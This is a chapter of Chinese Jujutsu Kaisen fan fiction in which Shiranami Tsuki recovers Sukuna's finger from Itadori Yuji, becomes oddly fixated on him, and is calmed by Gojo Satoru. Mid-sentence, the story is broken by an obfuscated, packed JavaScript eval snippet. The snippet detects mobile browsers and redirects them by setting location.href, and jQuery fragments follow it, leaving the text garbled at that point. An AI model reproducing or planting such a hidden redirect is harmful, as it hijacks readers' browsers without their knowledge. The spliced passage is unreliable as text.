白波月屈起手指,放轻力道,敲响了校长室的门。


    空的。


    面对着内里空无一人的房间,白波月脸上的笑容垮下来。


    总不至于畏罪潜逃吧。


    跟在他身后的伏黑惠歪歪的探出身子,问他:“现在怎么办,月。咱们是等着还是先去找线索?”


    白波月也没多话,只是利落的拿出骰子丢到地上。


    [侦查检定]


    [1/52]


    [大成功]


    提示框在骰出大成功后,界面上原本的文字就消失了,转而变成了一个大大的箭头指向前方,白波月脚下步伐一迈,直接跟着走去。


    “跟上。”


    伏黑惠被他呼喊,连忙哒哒小跑两步。


    直行,左转下楼,下楼,下楼,右转。


    等大成功的导航结束,提示框君也随之消失,白波月的脚步停在了一个教室门口。


    说是教室也不对,这个房间太小了。


    这里应该是这个学校里的某个活动室,不过既然大成功指向这里,那想必宿傩的手指肯定抵达过这里。


    白波月直接蛮力开门,活动室的门锁被强行拽开,断掉的锁芯叮叮当当的掉在地上。


    没给噪音投去一点视线,白波月径直走到椅子旁坐下,静静等待着兔子撞到大树上。


    伏黑惠也跟着一起进了门,他不光顺手把门关上了,还顺便捡起来因为白波月用力太大不小心弄断的锁芯。


    ……月应该是不小心的吧。


    (心虚)


    等待的时间就这样一点一滴的流逝着,校长那边直到中午了也没给白波月打过任何一个电话,白波月的面色从原本的轻松也转变成了阴沉。


    偷偷瞄了好几眼的伏黑惠内心暗暗腹诽。


    变脸真快啊。


    “饿吗?”一片安静中,白波月突然侧头冲伏黑惠问到。


    “还行,不算饿。”伏黑惠摸摸肚子,虽然已经到了午饭的时间,但肚子还没咕咕叫,就算暂时不吃饭应该也没关系。


    点点头,白波月又重新转回头,“好,那先忍忍,等结束后我请你吃饭,想吃什么都行。”


    说完后,这个房间再次回归一片寂静。


    “……”


    “那个……”伏黑惠眼神乱飘,“月你,为什么非要津美纪休学来高专呢。”


    他想问很久了。


    就算是有其他需要,那身为【十影法】的他来咒高也就足够了,为什么普通人津美纪也要来咒术高专?


    虽然,只是去家入小姐那边帮帮忙,打个下手,并没有什么危险。


    “因为。”白波月起了个头,紧接着就是一声叹息,“咒术界要乱了。”


    伏黑惠头一次听说这个,震惊的转头看着白波月沉静的侧脸。他被咒具遮挡的眼睛无法传递其中的心绪,只能看到被拉平的嘴角上带着些郑重。


    “要乱了?”伏黑惠还是不敢相信。


    “对,而且普通人也不一定就安全,学校里有结界、有硝子,肯定比外面更安全。”白波月微微低头。


    “可……”


    这次不等伏黑惠问出口,白波月就直接打断他,他耳尖敏锐的动了动,捕捉到了一点脚步声。


    “嘘,来人了。”


    ————————


    对于虎杖悠仁来说,今天是一个平静的日子。


    打电话给倔犟的老头结果对方不让自己去探视,给自己做早饭;上学,和同学打招呼,下午去社团;然后去医院看早上打电话的倔犟老头。


    完美的一天!


    但从下午的那个步骤开始,世界不知道怎么了,就突然变成了他不认识的样子。


    “那个,请问你们是……”


    钥匙插入门锁后的空荡感告诉了他,这个门坏掉了。而坐在里面正嚣张的跷二郎腿的人明显就是闯空门的罪魁祸首,虎杖悠仁对于打架什么的是不怵的,但他还是希望能用和平的方式解决。


    “你好。”白波月率先回应了他。


    那个粉色的头发实在是招摇的明显,身形上这个男生也和之前监控上看到的人大致一样,校长那边怎么就能用这么长的时间呢。


    一群废物。


    “请问在昨天傍晚,你是否有在学校内的一个风箱里拿走过一个盒子呢?”


    营业的笑容被自如的带到脸上,白波月礼貌的让星撤下,想要露出眼睛和对方平等的讲话。


    但就在他用真实的眼睛看到这个粉头发男生的那一瞬间,他的大脑就像是被人突然打了一拳,感觉像是很久以前自己用头硬接伏黑甚尔的拳头一样。


    这孩子看起来真亲切啊!


    不知道这孩子有没有亲人啊,没有的话,他能领养吗?


    话说这孩子眼睛下方是不是有个对称的疤痕,刚刚怎么没发现?不过,肉眼看上去还是人头啊,那应该是普通人了,不过普通人也没关系,家里还有津美纪这个先例在呢……


    所以,他麻袋准备好了,什么时候绑走?


    “啊,是的。真是抱歉,那个箱子并没有锁上,而且包装的又比较有氛围。因为社团是灵异研究会,所以私自拿走去研究了,真的很抱歉。”虎杖悠仁不好意思的挠挠头,很有礼貌的道了一堆歉。


    “还没有拆开的,现在就在我书包里,我给您找找。”


    白波月就好像眼睛粘在了对方身上一样。看着对方掏书包,看着对方找东西,看着对方拿出存放了咒物的盒子。


    “那个……您好?”被对方一直盯着的虎杖悠仁内心有点毛毛的。


    虽然确实是他做错在先,但一直被这样盯着他也是会很疑惑的啊。物归原主了,也道歉了,难道这些还不够吗?


    “请问,是不是还有其他地方要赔偿,我会尽力而为的。”虎杖悠仁言语郑重,是很认真的想要进行赔偿。


    “嗯?”白波月这才意识到自己刚刚的行为好像造成了对方的误会,连忙摇头,“不是的,还回来就行了,只是我觉得你很眼熟。”


    他睁着滚圆的眼睛紧紧盯着虎杖悠仁。


    这孩子,真好啊。


    和那些个只会推脱的废物大人们不一样呢,能自己承担问题的责任,真是个优秀的孩子啊。


    “我叫白波月,叫我月就可以了,你叫什么名字?”


    ————————


    月,很不对劲。


    旁观了全程的伏黑惠额角溢出一滴冷汗,在白波月看不到的角度,他拿出手机已经开始给五条悟盲打消息了。


    不管这个粉头发的家伙对月做了什么,大概都不是他能解决的。


    摇人,必须摇人!


    这边迷茫的被友好搭讪了的虎杖悠仁只是开朗的笑。


    万幸不用自己赔款之类的,毕竟家里其实没什么钱可以被他支用,如果要赔款他就只可能出去打工了。


    “那个,我叫虎杖悠仁,同样的,叫我悠仁就好了。”他脸上笑容就像是窗外的阳光正从他身后洒进来那样,有种被轻纱遮挡过后恰到好处的温暖。


    他笑着递出那个从风箱里拿出来的盒子,这边白波月也笑着接过了宿傩的手指,场


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040469|188940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面一时间和谐起来。


    “月,东西拿到了,也该回去了吧。”伏黑惠颇有敌意的瞪了眼虎杖悠仁。


    但被瞪的人却根本没空去看那双瞪人的眼睛,他还在被白波月抓着双手,被那双黑洞洞的眼睛直直的盯着。


    “悠仁,你放学后有空吗?我想请你吃个饭。”


    很突兀的要求,尤其是在霓虹这个国家。


    如果你不能提前一两个月预约对方的行程的话,那你就一定要做好被对方礼貌回绝的准备。


    虎杖悠仁就是这么做的。


    “真的是非常抱歉,我放学后还有事,没办法答应您的请求。”虽然带着些疑惑,但虎杖悠仁还是用词非常礼貌。


    “那个,如果没事的话……”他想被放开了。


    “那你放学后要去哪儿?方便的话我能一起吗?”


    这话一出,房间里的两个学生都纷纷震惊的看向他。一个是震惊于他的反常,另一位则是震惊于这个请求。


    “那个……”虎杖悠仁还是没忍住,把求救的目光投向了坐在一旁的酷哥。


    而原本只是负责通知和观望的伏黑惠这回彻底绷不住了。


    喂喂喂,月你在说什么!


    太失礼了吧!


    (裂开)


    “月!咳,月你不是说等这次工作结束后要一起吃饭吗?”伏黑惠紧急收敛好脸上的表情,决定用这个问题来试探一下白波月目前的状态。


    根据月的回答,他会来判断月目前是否还保留着自我意识和记忆。


    毕竟,听五条先生……啊,现在得叫老师了。


    听五条老师说,月以前就经常出现失忆的问题呢,虽然那天有关这点的讨论最终演变成了他们之间的互殴,但……应该没说错吧?


    “嗯?”白波月一转头,就直接看到伏黑惠那想掩饰但还是很明显的紧张。


    有点莫名其妙呢。


    “当然记得,但,晚饭带一个悠仁也没关系吧?”白波月歪歪头。


    “而且,悠仁还没说放学后要去哪儿呢?”白波月态度很坚决,一副不跟着虎杖悠仁就誓不罢休的样子。


    就在场面一时间凝固,彼此僵持不下的时候。


    “嗯?悠仁?悠仁是谁?”活动室门外,突然传来一个稍显懒散的声音,但这声音却让伏黑惠燃起了新的希望!


    是五条悟来了!


    “怎么,月?难道我不是你的小甜甜了嘛~”


    怎么会是夹子的粘腻撒娇啊!


    很好,刚带上的滤镜就这样碎掉了。


    他就不该期待着五条老师能帅过三秒的。


    “悟?”


    还不等白波月把疑问的话说出口,走进门的五条悟就飞快扫视了一圈现场的状况,并且精准的从白波月的上衣口袋里掏出白波星,一巴掌糊在了他脸上。


    星接触到自己哥哥的脸,很自然的变成一个长条包住了对方的眼睛。


    就在黑色的帐于他脑后连接起来的那一刻,白波月原本拉着虎杖悠仁的手直接放开,突兀到虎杖悠仁都差点磕到桌子。


    “呃,你们……”虎杖悠仁很懵。


    伏黑惠二话不说直接起身,拉着还在懵逼的虎杖悠仁出了门,给这明显有话要说的挚友留出足够的空间。


    “那两位?”虎杖悠仁还是很想知道。


    但可惜,伏黑惠不让。


    “啧,不该知道的别问。”想了想,他又加了一句,“以后,不该碰的也别碰,当心碰到要命的东西了。”


    “那时候,你可就没现在这么好运了。”